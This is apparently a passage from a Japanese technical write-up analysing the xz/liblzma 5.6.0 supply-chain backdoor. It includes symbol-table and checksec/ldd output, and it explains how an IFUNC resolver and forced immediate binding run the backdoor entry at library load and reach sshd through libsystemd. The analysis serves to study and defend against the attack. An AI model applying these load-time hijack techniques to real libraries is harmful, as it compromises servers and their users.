39: 0000000000000000 0 SECTION LOCAL DEFAULT 68 .text.lzma_delta_props_decodd
40: 0000000000000000 0 SECTION LOCAL DEFAULT 70 .text.microlzma_decoder_inia
41: 0000000000000000 0 SECTION LOCAL DEFAULT 72 .text.lz_encoder_prepara
42: 0000000000000000 0 SECTION LOCAL DEFAULT 74 .text.reverse_seez
43: 0000000000000000 0 SECTION LOCAL DEFAULT 76 .text.transfora
44: 0000000000000000 0 SECTION LOCAL DEFAULT 78 .text.lzma_next_filter_inia
45: 0000000000000000 0 SECTION LOCAL DEFAULT 80 .text.auto_decoder_iniz
46: 0000000000000000 0 SECTION LOCAL DEFAULT 82 .text.lzma_lzma_set_out_limia
47: 0000000000000000 0 SECTION LOCAL DEFAULT 84 .text.lzma_auto_decoda
48: 0000000000000000 0 SECTION LOCAL DEFAULT 86 .text.lzma_lzma_encoder_resea
49: 0000000000000000 0 SECTION LOCAL DEFAULT 88 .text.lzma_bufcpa
50: 0000000000000000 0 SECTION LOCAL DEFAULT 90 .text.lzma_check_finisa
51: 0000000000000000 0 SECTION LOCAL DEFAULT 92 .text.lzma_decoder_inia
52: 0000000000000000 0 SECTION LOCAL DEFAULT 94 .text.lzma_delta_coder_inia
53: 0000000000000000 0 SECTION LOCAL DEFAULT 96 .text.lzma_encoder_inia
54: 0000000000000000 0 SECTION LOCAL DEFAULT 97 .text.lzma_file_info_decodea
55: 0000000000000000 0 SECTION LOCAL DEFAULT 99 .text.lzma_filter_decoder_is_supportea
56: 0000000000000000 0 SECTION LOCAL DEFAULT 101 .text.lzma_lzma2_encoder_memusaga
57: 0000000000000000 0 SECTION LOCAL DEFAULT 103 .text.lzma_mf_bt4_fina
58: 0000000000000000 0 SECTION LOCAL DEFAULT 105 .text.lzma_stream_decoder_inia
59: 0000000000000000 0 SECTION LOCAL DEFAULT 107 .text.lzma_stream_flags_compara
60: 0000000000000000 0 SECTION LOCAL DEFAULT 109 .text.lzma_stream_header_encoda
61: 0000000000000000 0 SECTION LOCAL DEFAULT 111 .text.lzma_stream_header_encodb
62: 0000000000000000 0 SECTION LOCAL DEFAULT 112 .text.parse_delt1
63: 0000000000000000 0 SECTION LOCAL DEFAULT 114 .text.read_output_and_waia
64: 0000000000000000 0 SECTION LOCAL DEFAULT 116 .text.stream_decoder_memconfia
65: 0000000000000000 0 SECTION LOCAL DEFAULT 118 .text.lzma_delta_props_encoda
66: 0000000000000000 0 SECTION LOCAL DEFAULT 120 .text.lzma_filter_flags_decoda
67: 0000000000000000 0 SECTION LOCAL DEFAULT 122 .text.lzma_index_buffer_encoda
68: 0000000000000000 0 SECTION LOCAL DEFAULT 124 .text.lzma_index_encoder_inia
69: 0000000000000000 0 SECTION LOCAL DEFAULT 126 .text.lzma_index_stream_flaga
70: 0000000000000000 0 SECTION LOCAL DEFAULT 128 .text.lzma_index_iter_locata
71: 0000000000000000 0 SECTION LOCAL DEFAULT 130 .text.lzma_index_hash_inia
72: 0000000000000000 0 SECTION LOCAL DEFAULT 132 .text.lzma_lz_decoder_inia
73: 0000000000000000 0 SECTION LOCAL DEFAULT 134 .text.lzma_lzma_optimum_fasa
74: 0000000000000000 0 SECTION LOCAL DEFAULT 136 .text.microlzma_encoder_inia
75: 0000000000000000 0 SECTION LOCAL DEFAULT 138 .text.lzma_validate_chaia
76: 0000000000000000 0 SECTION LOCAL DEFAULT 140 .text.parse_optiona
77: 0000000000000000 0 SECTION LOCAL DEFAULT 141 .text.auto_decoder_inia
78: 0000000000000000 0 SECTION LOCAL DEFAULT 142 .text.bt_find_funa
79: 0000000000000000 0 SECTION LOCAL DEFAULT 143 .text.lzma_delta_encoder_inia
80: 0000000000000000 0 SECTION LOCAL DEFAULT 145 .text.lzma_easy_encodea
81: 0000000000000000 0 SECTION LOCAL DEFAULT 146 .text.lzma_block_decoder_inia
82: 0000000000000000 0 SECTION LOCAL DEFAULT 148 .text.lzma_block_encoder_updatd
83: 0000000000000000 0 SECTION LOCAL DEFAULT 149 .text.lzma_index_ena
84: 0000000000000000 0 SECTION LOCAL DEFAULT 150 .text.lzma_filters_copa
85: 0000000000000000 0 SECTION LOCAL DEFAULT 152 .text.lzma_index_dua
86: 0000000000000000 0 SECTION LOCAL DEFAULT 154 .text.length_encoder_resez
87: 0000000000000000 0 SECTION LOCAL DEFAULT 155 .text.stream_decoder_mt_get_progresz
88: 0000000000000000 0 SECTION LOCAL DEFAULT 157 .text.threads_stoz
89: 0000000000000000 0 SECTION LOCAL DEFAULT 159 .text.index_decoda
90: 0000000000000000 0 SECTION LOCAL DEFAULT 160 .text.index_encoda
91: 0000000000000000 0 SECTION LOCAL DEFAULT 162 .text.lzma_block_unpadded_siza
92: 0000000000000000 0 SECTION LOCAL DEFAULT 163 .text.lzma_rc_pricea
93: 0000000000000000 0 SECTION LOCAL DEFAULT 164 .text.stream_encoder_mt_iniz
94: 0000000000000000 0 SECTION LOCAL DEFAULT 165 .text.worker_stara
95: 0000000000000000 0 SECTION LOCAL DEFAULT 167 .text.bt_skip_funz
96: 0000000000000000 0 SECTION LOCAL DEFAULT 169 .text.lzma_coda
97: 0000000000000000 0 SECTION LOCAL DEFAULT 171 .text.parse_lzma10
98: 0000000000000000 0 SECTION LOCAL DEFAULT 173 .text.lzip_decoder_memconfia
99: 0000000000000000 0 SECTION LOCAL DEFAULT 175 .text.decode_buffez
100: 0000000000000000 0 SECTION LOCAL DEFAULT 177 .text.file_info_decoda
101: 0000000000000000 0 SECTION LOCAL DEFAULT 179 .text.lzma_index_stream_siza
102: 0000000000000000 0 SECTION LOCAL DEFAULT 181 .text.lzma_index_prealloa
103: 0000000000000000 0 SECTION LOCAL DEFAULT 183 .text.lzma_index_memusaga
104: 0000000000000000 0 SECTION LOCAL DEFAULT 185 .text.lzma_index_inia
105: 0000000000000000 0 SECTION LOCAL DEFAULT 187 .text.parse_lzma12z
106: 0000000000000000 0 SECTION LOCAL DEFAULT 189 .text._cpuid
107: 0000000000000000 0 SECTION LOCAL DEFAULT 190 .text._get_cpuia
108: 0000000000000000 0 SECTION LOCAL DEFAULT 192 .text._get_cpuid
109: 0000000000000000 0 SECTION LOCAL DEFAULT 194 .text.lzma_outq_inia
110: 0000000000000000 0 SECTION LOCAL DEFAULT 195 .text.simple_coder_updata
111: 0000000000000000 0 SECTION LOCAL DEFAULT 197 .text.lzma_lzma_encoder_inia
112: 0000000000000000 0 SECTION LOCAL DEFAULT 199 .text.lzma_memlimit_gea
113: 0000000000000000 0 SECTION LOCAL DEFAULT 201 .text.rc_read_inis
114: 0000000000000000 0 SECTION LOCAL DEFAULT 203 .text.lzma_check_inia
115: 0000000000000000 0 SECTION LOCAL DEFAULT 205 .text.lzma2_decoder_ena
116: 0000000000000000 0 SECTION LOCAL DEFAULT 207 .text.lzma_index_iter_rewina
117: 0000000000000000 0 SECTION LOCAL DEFAULT 209 .text.lzma_index_memusagz
118: 0000000000000000 0 SECTION LOCAL DEFAULT 210 .text.lzma_block_total_siza
119: 0000000000000000 0 SECTION LOCAL DEFAULT 212 .text.crc64_generic
120: 0000000000000000 0 SECTION LOCAL DEFAULT 214 .text.crc64_arch_optimized
121: 0000000000000000 0 SECTION LOCAL DEFAULT 216 .text.crc64_resolve
122: 0000000000000000 0 SECTION LOCAL DEFAULT 218 .rodata.MASK_TO_BIT_NUMBER0
123: 0000000000000000 0 SECTION LOCAL DEFAULT 219 .rodata.BRANCH_TABLE0
124: 0000000000000000 0 SECTION LOCAL DEFAULT 220 .rodata.get_literal_prica
125: 0000000000000000 0 SECTION LOCAL DEFAULT 222 .rodata.lzma2_decode
126: 0000000000000000 0 SECTION LOCAL DEFAULT 223 .rodata.lzma_lzma_encode
127: 0000000000000000 0 SECTION LOCAL DEFAULT 224 .rodata.lzma_lzma_encodd
128: 0000000000000000 0 SECTION LOCAL DEFAULT 225 .rodata.lzip_decode0
129: 0000000000000000 0 SECTION LOCAL DEFAULT 226 .rodata.crc64_clmul1
130: 0000000000000000 0 SECTION LOCAL DEFAULT 227 .rodata.lzma12_mf_mao.0
131: 0000000000000000 0 SECTION LOCAL DEFAULT 229 .rodata.rc_encode
132: 0000000000000000 0 SECTION LOCAL DEFAULT 231 .rodata.cst16
133: 0000000000000000 0 SECTION LOCAL DEFAULT 232 .eh_frame
134: 0000000000000000 0 SECTION LOCAL DEFAULT 234 .data
135: 0000000000000000 0 SECTION LOCAL DEFAULT 235 .data.rel.ro.filter_optmap.0
136: 0000000000000000 0 SECTION LOCAL DEFAULT 237 .data.rel.ro.lookup_filter.part.0
137: 0000000000000000 0 SECTION LOCAL DEFAULT 239 .data.rel.ro.decoders0
138: 0000000000000000 0 SECTION LOCAL DEFAULT 241 .data.rel.ro.encoders0
139: 0000000000000000 0 SECTION LOCAL DEFAULT 243 .bss
140: 0000000000000000 0 SECTION LOCAL DEFAULT 244 .bss.filter_optionz
141: 0000000000000000 0 SECTION LOCAL DEFAULT 245 .bss.lzma12_codez
142: 0000000000000000 0 SECTION LOCAL DEFAULT 246 .bss.__intr2
143: 0000000000000000 0 SECTION LOCAL DEFAULT 247 .comment
144: 0000000000000000 0 SECTION LOCAL DEFAULT 248 .note.GNU-stack
145: 0000000000000000 0 SECTION LOCAL DEFAULT 249 .debug_aranges
146: 0000000000000000 0 SECTION LOCAL DEFAULT 251 .debug_info
147: 0000000000000000 0 SECTION LOCAL DEFAULT 253 .debug_abbrev
148: 0000000000000000 0 SECTION LOCAL DEFAULT 254 .debug_line
149: 0000000000000000 0 SECTION LOCAL DEFAULT 256 .debug_str
150: 0000000000000000 0 SECTION LOCAL DEFAULT 257 .debug_line_str
151: 0000000000000000 0 SECTION LOCAL DEFAULT 258 .debug_loclists
152: 0000000000000000 0 SECTION LOCAL DEFAULT 260 .debug_rnglists
153: 0000000000000000 0 FILE LOCAL DEFAULT ABS liblzma_la-crc64-fast.o
154: 0000000000000000 44 FUNC LOCAL HIDDEN 25 .Lstream_decode.1
155: 0000000000000000 12 FUNC LOCAL HIDDEN 27 .Lparse_bcj.0
156: 0000000000000000 181 FUNC LOCAL HIDDEN 19 .Llzma_properties_size.0
157: 0000000000000000 758 FUNC LOCAL HIDDEN 130 .Llzma_index_hash_init.part.0
158: 0000000000000000 619 FUNC LOCAL HIDDEN 120 .Llzma_filter_flags_decode.0
159: 0000000000000000 131 FUNC LOCAL HIDDEN 162 .Llzma_block_unpadded_size.1
160: 0000000000000000 158 FUNC LOCAL HIDDEN 171 .Lparse_lzma12.0
161: 0000000000000000 327 FUNC LOCAL HIDDEN 175 .Ldecode_buffer.part.0
162: 0000000000000000 141 FUNC LOCAL HIDDEN 181 .Llzma_index_prealloc.0
163: 0000000000000000 630 FUNC LOCAL HIDDEN 32 .Lcrc_init.0
164: 0000000000000000 31 FUNC LOCAL HIDDEN 203 .Llzma_check_init.part.0
165: 0000000000000000 8 OBJECT LOCAL HIDDEN 223 .Lrc_read_destroy
166: 0000000000000000 56 OBJECT LOCAL HIDDEN 241 .Lencoder.1
167: 0000000000000000 1522 FUNC LOCAL HIDDEN 177 .Lfile_info_decode.0
168: 0000000000000000 8 OBJECT LOCAL HIDDEN 244 .Lfilter_options.0
169: 0000000000000000 195 FUNC LOCAL HIDDEN 169 .Llzma_code.part.1
170: 0000000000000000 151 FUNC LOCAL HIDDEN 126 .Llzma_index_stream_flags.0
171: 0000000000000000 110 FUNC LOCAL HIDDEN 99 .Llzma_filter_decoder_is_supported.part.0
172: 0000000000000000 46 FUNC LOCAL HIDDEN 94 .Llzma_delta_coder_init.1
173: 0000000000000000 173 FUNC LOCAL HIDDEN 51 .Llzip_decode.0
174: 0000000000000000 122 FUNC LOCAL HIDDEN 167 .Lbt_skip_func.part.0
175: 0000000000000000 8 OBJECT LOCAL HIDDEN 245 .Llzma12_coder.1
176: 0000000000000000 236 FUNC LOCAL HIDDEN 160 .Lindex_encode.1
177: 0000000000000000 79 FUNC LOCAL HIDDEN 21 .Lstream_encoder_mt_init.1
178: 0000000000000000 30 FUNC LOCAL HIDDEN 207 .Llzma_index_iter_rewind.cold
179: 0000000000000000 75 FUNC LOCAL HIDDEN 4 .Llzma_block_buffer_encode.0
180: 0000000000000000 176 FUNC LOCAL HIDDEN 201 .Lrc_read_init.part.0
181: 0000000000000000 389 FUNC LOCAL HIDDEN 39 .Lstream_encoder_update.1
182: 0000000000000000 40 FUNC LOCAL HIDDEN 43 .Ldelta_coder_end.1
183: 0000000000000000 8 OBJECT LOCAL HIDDEN 237 .Llookup_filter.part.0
184: 0000000000000000 82 FUNC LOCAL HIDDEN 63 .Llzma_lz_encoder_memusage.1
185: 0000000000000000 20 FUNC LOCAL HIDDEN 107 .Llzma_stream_flags_compare.1
186: 0000000000000000 177 FUNC LOCAL HIDDEN 163 .Llzma_rc_prices.1
187: 0000000000000000 111 FUNC LOCAL HIDDEN 197 .Llzma_lzma_encoder_init.0
188: 0000000000000000 240 FUNC LOCAL HIDDEN 7 .Llzma2_encoder_init.1
189: 0000000000000000 46 FUNC LOCAL HIDDEN 111 .Llzma_block_param_decoder.0
190: 0000000000000000 114 FUNC LOCAL HIDDEN 66 .Llzma_delta_decoder_init.part.0
191: 0000000000000000 294 FUNC LOCAL HIDDEN 49 .Lindex_tree_append.part.0
192: 0000000000000000 19 FUNC LOCAL HIDDEN 112 .Lparse_delta.0
193: 0000000000000000 11 FUNC LOCAL HIDDEN 36 .Linit_pric_table.part.1
194: 00000000000000c0 174 FUNC LOCAL HIDDEN 11 .Llzma_filters_update.1
195: 0000000000000000 178 FUNC LOCAL HIDDEN 15 .Llzma_mt_block_size.1
196: 0000000000000000 1904 OBJECT LOCAL HIDDEN 226 .Lcrc64_clmul.1
197: 0000000000000000 29 FUNC LOCAL HIDDEN 29 .Llzma_simple_props_size.part.0
198: 0000000000000000 157 FUNC LOCAL HIDDEN 54 .Lauto_decode.1
199: 0000000000000000 486 FUNC LOCAL HIDDEN 88 .Llzma_buf_cpy.0
200: 0000000000000000 90 FUNC LOCAL HIDDEN 96 .Llzma_encoder_init.0
201: 0000000000000000 123 FUNC LOCAL HIDDEN 84 .Llzma_auto_decode.1
202: 0000000000000000 155 FUNC LOCAL HIDDEN 159 .Lindex_decode.1
203: 0000000000000000 154 FUNC LOCAL HIDDEN 38 .Lstream_encoder_update.0
204: 0000000000000000 1185 FUNC LOCAL HIDDEN 30 .Lget_literal_price.part.0
205: 0000000000000000 82 FUNC LOCAL HIDDEN 61 .Lstream_decoder_mt_end.0
206: 0000000000000000 30 FUNC LOCAL HIDDEN 57 .Llzma_simple_props_encode.1
207: 0000000000000000 62 FUNC LOCAL HIDDEN 17 .Lstream_encode.1
208: 0000000000000000 20 FUNC LOCAL HIDDEN 105 .Llzma_stream_decoder_init.1
209: 0000000000000000 96 FUNC LOCAL HIDDEN 183 .Llzma_index_memusage.part.0
210: 0000000000000000 112 FUNC LOCAL HIDDEN 185 .Llzma_index_init.0
211: 0000000000000000 151 FUNC LOCAL HIDDEN 90 .Llzma_check_finish.0
212: 0000000000000000 23 FUNC LOCAL HIDDEN 194 .Llz_stream_decode
213: 0000000000000000 8 OBJECT LOCAL HIDDEN 222 .Lx86_coder_destroy
214: 0000000000000000 95 FUNC LOCAL HIDDEN 209 .Llzma_index_memusage.0
215: 0000000000000000 261 FUNC LOCAL HIDDEN 195 .Lsimple_coder_update.0
216: 0000000000000000 90 FUNC LOCAL HIDDEN 101 .Llzma_lzma2_encoder_memusage.0
217: 0000000000000000 428 FUNC LOCAL HIDDEN 103 .Llzma_mf_bt4_find.0
218: 0000000000000000 407 FUNC LOCAL HIDDEN 157 .Lthreads_stop.0
219: 0000000000000000 0 OBJECT LOCAL HIDDEN 229 .Llzma_block_uncomp_encode.0
220: 0000000000000000 134 FUNC LOCAL HIDDEN 210 .Llzma_block_total_size.0
221: 0000000000000000 196 FUNC LOCAL HIDDEN 56 .Lhc_find_func.1
222: 0000000000000000 5940 FUNC LOCAL HIDDEN 136 .Lmicrolzma_encoder_init.1
223: 0000000000000000 558 FUNC LOCAL HIDDEN 132 .Llzma_lz_decoder_init.0
224: 0000000000000000 5216 OBJECT LOCAL HIDDEN 225 .Llzip_decode.1
225: 0000000000000000 2783 FUNC LOCAL HIDDEN 173 .Llzip_decoder_memconfig.part.0
226: 0000000000000000 43 FUNC LOCAL HIDDEN 45 .Ldelta_decode.part.0
227: 0000000000000000 182 FUNC LOCAL HIDDEN 199 .Llzma_memlimit_get.1
228: 0000000000000000 254 FUNC LOCAL HIDDEN 138 .Llzma_delta_props_encoder
229: 0000000000000000 346 FUNC LOCAL HIDDEN 165 .Lworker_start.0
230: 0000000000000000 126 FUNC LOCAL HIDDEN 164 .Lstream_encoder_mt_init.part.0
231: 0000000000000000 118 FUNC LOCAL HIDDEN 122 .Llzma_index_buffer_encode.0
232: 0000000000000000 1023 FUNC LOCAL HIDDEN 128 .Llzma_index_iter_locate.1
233: 0000000000000000 32 OBJECT LOCAL HIDDEN 239 .Ldecoder.1
234: 0000000000000000 48 FUNC LOCAL HIDDEN 154 .Llength_encoder_reset.0
235: 0000000000000000 116 FUNC LOCAL HIDDEN 92 .Llzma_decoder_init.1
236: 0000000000000000 850 FUNC LOCAL HIDDEN 187 .Llzma12_mode_map.part.1
237: 0000000000000000 157 FUNC LOCAL HIDDEN 41 .Llz_encode.1
238: 0000000000000000 8 OBJECT LOCAL HIDDEN 235 .Lfilter_optmap.0
239: 0000000000000000 3485 FUNC LOCAL HIDDEN 179 .Llzma_index_stream_size.1
240: 0000000000000000 151 FUNC LOCAL HIDDEN 23 .Llzma_simple_x86_decoder_init.1
241: 0000000000000000 19 FUNC LOCAL HIDDEN 116 .Lstream_decoder_memconfig.part.1
242: 0000000000000000 181 FUNC LOCAL HIDDEN 11 .Llzma_filters_update.0
243: 0000000000000000 744 FUNC LOCAL HIDDEN 118 .Llzma_delta_props_encode.part.0
244: 0000000000000000 45 FUNC LOCAL HIDDEN 205 .Llzma2_decoder_end.1
245: 0000000000000000 174 FUNC LOCAL HIDDEN 47 .Llzma_check_update.0
246: 0000000000000000 162 FUNC LOCAL HIDDEN 9 .Llzma_optimum_normal.0
247: 0000000000000000 49 FUNC LOCAL HIDDEN 68 .Llzma_delta_props_decode.part.0
248: 0000000000000000 162 FUNC LOCAL HIDDEN 13 .Llzma_raw_encoder.0
249: 0000000000000000 1041 FUNC LOCAL HIDDEN 134 .Llzma_lzma_optimum_fast.0
250: 0000000000000000 56 FUNC LOCAL HIDDEN 109 .Llzma_stream_header_encode.part.0
251: 0000000000000074 104 FUNC LOCAL HIDDEN 190 .Llzma_block_param_encoder.0
252: 0000000000000000 0 OBJECT LOCAL HIDDEN 227 .Llzma_block_buffer_decode.0
253: 0000000000000000 384 FUNC LOCAL HIDDEN 53 .Lmicrolzma_decode.0
254: 0000000000000000 43 FUNC LOCAL HIDDEN 114 .Llzma_delta_props_decoder
255: 0000000000000000 198 FUNC LOCAL HIDDEN 155 .Lstream_decoder_mt_get_progress.0
256: 0000000000000000 978 FUNC LOCAL HIDDEN 124 .Llzma_index_encoder_init.1
257: 0000000000000000 2719 FUNC LOCAL HIDDEN 2 .Lx86_code.part.0
258: 0000000000000000 48 FUNC LOCAL HIDDEN 34 .Lcrc64_generic.0
259: 0000000000000000 0 FILE LOCAL DEFAULT ABS <stdin>
260: 0000000000000000 238 FUNC LOCAL DEFAULT 212 crc64_generic
261: 0000000000000000 527 FUNC LOCAL DEFAULT 214 crc64_arch_optimized
262: 0000000000000000 120 FUNC LOCAL DEFAULT 216 crc64_resolve
263: 0000000000000000 0 NOTYPE LOCAL DEFAULT 231 .LC0
264: 0000000000000010 0 NOTYPE LOCAL DEFAULT 231 .LC1
265: 0000000000000020 0 NOTYPE LOCAL DEFAULT 231 .LC2
266: 0000000000000030 0 NOTYPE LOCAL DEFAULT 231 .LC3
267: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND lzma_check_init
268: 0000000000000000 0 NOTYPE GLOBAL HIDDEN UND lzma_crc64_table
269: 0000000000000000 96 FUNC GLOBAL HIDDEN 192 _get_cpuid
270: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND __stack_chk_fail
271: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND __tls_get_addr
272: 0000000000000000 120 IFUNC GLOBAL DEFAULT 216 lzma_crc64
273: 0000000000000000 31 FUNC GLOBAL HIDDEN 189 _cpuid
274: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND lzma_free
275: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND lzma_alloc
make実行結果
通常のliblzma.so.5.6.0とバックドアが仕込まれたものの違いは、上記の変更された処理フローの内容です。_get_cpuid()関数が実行されることにより、バックドアの処理が実行されます。
変更点としては上記の通りですが、この時点での疑問点は以下が挙げられるかと思います。
- _get_cpuid()関数実行の大元となるcrc64_resolve()関数はいつ実行されるのか
- liblzma.so.5.6.0のバックドアがなぜsshdサービスの動作に影響を及ぼすのか
これらについては、次で説明いたします。
sshdからのバックドア処理実行まで
IFUNC機能
まず始めに、動作の理解に必要となるIFUNC機能について説明します。
IFUNCはGNUツールチェーンの機能で、リゾルバ関数を使用して実行時に使用する関数を選択することができます。複数の実装の中から、実行時のアーキテクチャに最適なものを選択したいような場合に使用されます。
xzの中では、以下の2か所でIFUNCが使用されており、lzma_crc32(), lzma_crc64()で使用する実装をそれぞれcrc32_resolve(), crc64_resolve()で決定する仕組みになっています。
extern LZMA_API(uint32_t)
lzma_crc32(const uint8_t *buf, size_t size, uint32_t crc)
__attribute__((__ifunc__("crc32_resolve")));
extern LZMA_API(uint64_t)
lzma_crc64(const uint8_t *buf, size_t size, uint64_t crc)
__attribute__((__ifunc__("crc64_resolve")));
__attribute__ ((...))
というのがGCC拡張属性の文法で、その中の1機能であるifuncを定義しています。
変更された処理フローで説明したように、この関数はmake処理の中で改変されており、バックドア処理の入り口である_get_cpuid()関数が実行されることになります。
では、このリゾルバ関数がいつ実行されるかですが、通常のliblzma.so.5.6.0は下記のようにRELRO設定が「Partial RELRO」となっており、実際にその関数が呼ばれたときにリゾルバ関数が呼ばれて関数が解決されます(遅延バインド)。
$ checksec --file=src/liblzma/.libs/liblzma.so.5.6.0
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled DSO No RPATH No RUNPATH 543) Symbols No 0 3 src/liblzma/.libs/liblzma.so.5.6.0
しかしconfigure【処理③】で見たように、make処理中のリンカオプションとして-Wl,-z,now
を設定することにより、遅延バインドを無効にしています。これにより、実行時ではなくライブラリロード時というかなり初期の段階でリゾルバ関数(バックドア処理)が実行されることになります。
$ checksec --file=src/liblzma/.libs/liblzma.so.5.6.0
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled DSO No RPATH No RUNPATH 547) Symbols No 0 3 src/liblzma/.libs/liblzma.so.5.6.0
通常 Full RELRO になっている場合はGlobal Offset Table (GOT)が書き込み不可となり、GOT overwrite攻撃ができませんが、ライブラリロード時に実行することでバックドア処理の中でGOTの書き換えを行っております。
sshdからのliblzma参照
systemdを使用するようなディストリビューションでは、sshdの起動完了をsystemdに通知するために、以下のsystemd-readiness.patchようなパッチを適用しています。この中で使用されているsd_notify()関数を使用するのに、libsystemd.soが必要となります。
systemd-readiness.patch
From 1288d290f46c3c7dbdf4e52ddacdfe3d13fd5c5d Mon Sep 17 00:00:00 2001
From: Michael Biebl <biebl@debian.org>
Date: Mon, 21 Dec 2015 16:08:47 +0000
Subject: Add systemd readiness notification support
Bug-Debian: https://bugs.debian.org/778913
Forwarded: no
Last-Update: 2017-08-22
Patch-Name: systemd-readiness.patch
---
configure.ac | 24 ++++++++++++++++++++++++
sshd.c | 9 +++++++++
2 files changed, 33 insertions(+)
diff --git a/configure.ac b/configure.ac
index b01a266b6..06e254af7 100644
--- a/configure.ac
+++ b/configure.ac
@@ -4879,6 +4879,29 @@ AC_ARG_WITH([kerberos5],
AC_SUBST([GSSLIBS])
AC_SUBST([K5LIBS])
+# Check whether user wants systemd support
+SYSTEMD_MSG="no"
+AC_ARG_WITH(systemd,
+ [ --with-systemd Enable systemd support],
+ [ if test "x$withval" != "xno" ; then
+ AC_PATH_TOOL([PKGCONFIG], [pkg-config], [no])
+ if test "$PKGCONFIG" != "no"; then
+ AC_MSG_CHECKING([for libsystemd])
+ if $PKGCONFIG --exists libsystemd; then
+ SYSTEMD_CFLAGS=`$PKGCONFIG --cflags libsystemd`
+ SYSTEMD_LIBS=`$PKGCONFIG --libs libsystemd`
+ CPPFLAGS="$CPPFLAGS $SYSTEMD_CFLAGS"
+ SSHDLIBS="$SSHDLIBS $SYSTEMD_LIBS"
+ AC_MSG_RESULT([yes])
+ AC_DEFINE(HAVE_SYSTEMD, 1, [Define if you want systemd support.])
+ SYSTEMD_MSG="yes"
+ else
+ AC_MSG_RESULT([no])
+ fi
+ fi
+ fi ]
+)
+
# Looking for programs, paths and files
PRIVSEP_PATH=/var/empty
@@ -5679,6 +5702,7 @@ echo " libldns support: $LDNS_MSG"
echo " Solaris process contract support: $SPC_MSG"
echo " Solaris project support: $SP_MSG"
echo " Solaris privilege support: $SPP_MSG"
+echo " systemd support: $SYSTEMD_MSG"
echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG"
echo " Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG"
echo " BSD Auth support: $BSD_AUTH_MSG"
diff --git a/sshd.c b/sshd.c
index f7f9e27dd..72ea3dcbe 100644
--- a/sshd.c
+++ b/sshd.c
@@ -88,6 +88,10 @@
#include <prot.h>
#endif
+#ifdef HAVE_SYSTEMD
+#include <systemd/sd-daemon.h>
+#endif
+
#include "xmalloc.h"
#include "ssh.h"
#include "ssh2.h"
@@ -2075,6 +2079,11 @@ main(int ac, char **av)
}
}
+#ifdef HAVE_SYSTEMD
+ /* Signal systemd that we are ready to accept connections */
+ sd_notify(0, "READY=1");
+#endif
+
/* Accept a connection and return in a forked child */
server_accept_loop(&sock_in, &sock_out,
&newsock, config_s);
libsystemd.soはliblzma.so.5をリンクしているため、結果的にsshd実行時にliblzma.so.5中のバックドアのコードがsshdのメモリ空間にもロードされることになります。
ldd /lib/x86_64-linux-gnu/libsystemd.so.0
$ ldd /lib/x86_64-linux-gnu/libsystemd.so.0
linux-vdso.so.1 (0x00007ffcf03eb000)
liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff4643ba000)
libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007ff4642eb000)
liblz4.so.1 => /lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff4642cb000)
libcap.so.2 => /lib/x86_64-linux-gnu/libcap.so.2 (0x00007ff4642c0000)
libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff464182000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff463f59000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff4644b7000)
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff463f31000)
ldd /usr/sbin/sshd
$ ldd /usr/sbin/sshd
linux-vdso.so.1 (0x00007ffc0bdf4000)
libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f0846b35000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007f0846b07000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f0846af5000)
libsystemd.so.0 => /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007f0846a2e000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f08465ea000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f08465cc000)
libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007f0846592000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f0846566000)
libgssapi_krb5.so.2 => /lib/x86_64-linux-gnu/libgssapi_krb5.so.2 (0x00007f0846512000)
libkrb5.so.3 => /lib/x86_64-linux-gnu/libkrb5.so.3 (0x00007f0846447000)
libcom_err.so.2 => /lib/x86_64-linux-gnu/libcom_err.so.2 (0x00007f0846441000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0846216000)
libnsl.so.2 => /lib/x86_64-linux-gnu/libnsl.so.2 (0x00007f08461fc000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007f08461f4000)
liblzma.so.5 => /home/naoki/lib/liblzma.so.5 (0x00007f08461b6000)
libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007f08460e7000)
liblz4.so.1 => /lib/x86_64-linux-gnu/liblz4.so.1 (0x00007f08460c7000)
libcap.so.2 => /lib/x86_64-linux-gnu/libcap.so.2 (0x00007f08460ba000)
libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007f0845f7c000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0846c30000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f0845ee5000)
libk5crypto.so.3 => /lib/x86_64-linux-gnu/libk5crypto.so.3 (0x00007f0845eb6000)
libkrb5support.so.0 => /lib/x86_64-linux-gnu/libkrb5support.so.0 (0x00007f0845ea8000)
libkeyutils.so.1 => /lib/x86_64-linux-gnu/libkeyutils.so.1 (0x00007f0845e9f000)
libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007f0845e8b000)
